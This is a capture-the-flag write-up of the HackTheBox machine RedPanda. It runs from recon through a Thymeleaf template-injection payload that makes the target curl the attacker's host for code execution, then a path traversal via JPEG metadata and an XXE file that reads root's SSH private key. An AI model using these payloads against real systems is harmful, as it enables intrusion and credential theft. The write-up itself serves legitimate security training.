Home RedPanda - HackTheBox
Post
Cancel

RedPanda - HackTheBox

RedPanda is a very easy linux box. It starts with a web service that’s vulnerable to Server-side Template Injection (SSTI) using Thymeleaf to gain RCE. Privesc involves exploiting two (2) path path traversal vulnerabilites, and an XXE injection to read SSH key of root.


About




Recon


NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.70 scan initiated Wed Aug 17 08:06:18 2022 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.170
Nmap scan report for 10.10.11.170
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Wed, 17 Aug 2022 07:06:59 GMT
|     Connection: close
|     <!DOCTYPE html>
---[snip]---
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit 
---[snip]---
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 17 08:07:45 2022 -- 1 IP address (1 host up) scanned in 86.84 seconds


Web

There is a web server running on port 8080;

The search bar seems to be working;

Testing for SQL injection and XSS didn’t yield anything. Testing for SSTI however gave an interesting result;

So I started looking up different SSTI payloads, and this article was very helpful. I was able to get blind RCE using;

1
*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.13/pwned')}

Attempts to directly run a BASH reverse shell one-liner kept failing. But the box has wget, and I was able to use it to download and execute Striker, which gave me a session on the box as the user woodenk;

I was able to read the user flag in the user’s home directory (Note: most of these files are not supposed to be there. Another player is polluting the home dir with files and spoilers)



PrivEsc


The user woodenk belongs to a group called logs. Running pspy on the box caught something interesting;

1
2
3
4
2022/08/17 13:04:01 CMD: UID=0    PID=1707   | /usr/sbin/CRON -f
2022/08/17 13:04:01 CMD: UID=0    PID=1709   | /bin/sh /root/run_credits.sh
2022/08/17 13:04:01 CMD: UID=0    PID=1708   | /bin/sh -c /root/run_credits
2022/08/17 13:04:01 CMD: UID=0    PID=1710   | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

I found the Java source of the above program at /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

Looking at the main() function, it seems the app is processing /opt/panda_search/redpanda.log. Looking at the file perms, we can write to it because woodenk is in the logs group;

Here is how the program works;

  1. It reads the log file one line at a time. The log is expected to be in the format: HTTP status code|| IP address || user agent || URI
  2. For each line, parseLog() is called, which parses the log into a HashMap.
  3. It then passes the value of URI to getArtist(), which directly append the given URI to /opt/panda_search/src/main/resources/static to load an image file using JpegMetadataReader (line 41 to 43). This makes it vulnerable to path traversal. This function returns the value of Artist metadata of the file as a string (line 48 to 51).
  4. The returned value by getArtist() is then prefixed with /credits/ and suffixed with _creds.xml (line 102). This exposes another path traversal bug. This is very interesting because the function parses the file given to it as XML and update it’s contents. This opens a door for potential XXE exploit.

To exploit this, I created a simple .jpg file and set it’s Artist metadata to ../../../../../../../dev/shm/pwn;

I then uploaded the image file as /dev/shm/test.jpg.

After studying the expected structure of the XML in the addViewTo() function, I wrote an XML file that will load the SSH key of the root user if it exists;

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY val SYSTEM "file:///root/.ssh/id_rsa">] >
<credits>
  <author>author</author>
  <image>
    <uri>&val;</uri>
    <views>7</views>
  </image>
  <totalviews>14</totalviews>
</credits>

I uploaded the above file as /dev/shm/pwn_creds.xml, which will be what the program will resolve the ../../../../../../../dev/shm/pwn payload added to the image metadata.

To trigger the exploit, I wrote the following line to the redpanda.log;

1
404||hecker.htb||master hecker||/../../../../../../dev/shm/test.jpg

After a few seconds, I checked the contents of the pwn_creds.xml file, and it was updated with the SSH key of the root user;

I saved the key as root.key on my box, and was able to login and get root flag;



Summary


  • Discovered port 22 and 8080 using NMAP
  • Port 8080 runs a web site with search feature.
    • Vulnerable to RCE using Server-side Template Injection to get a shell as woodenk
  • Inside the box as woodenk;
    • woodenk belongs to the group logs.
    • pspy picked up a custom Java program.
    • Analyzed it’s source code and found a possible XXE.
    • Exploited it to fetch the SSH key of the root user.
This post is licensed under CC BY 4.0 by the author.
Contents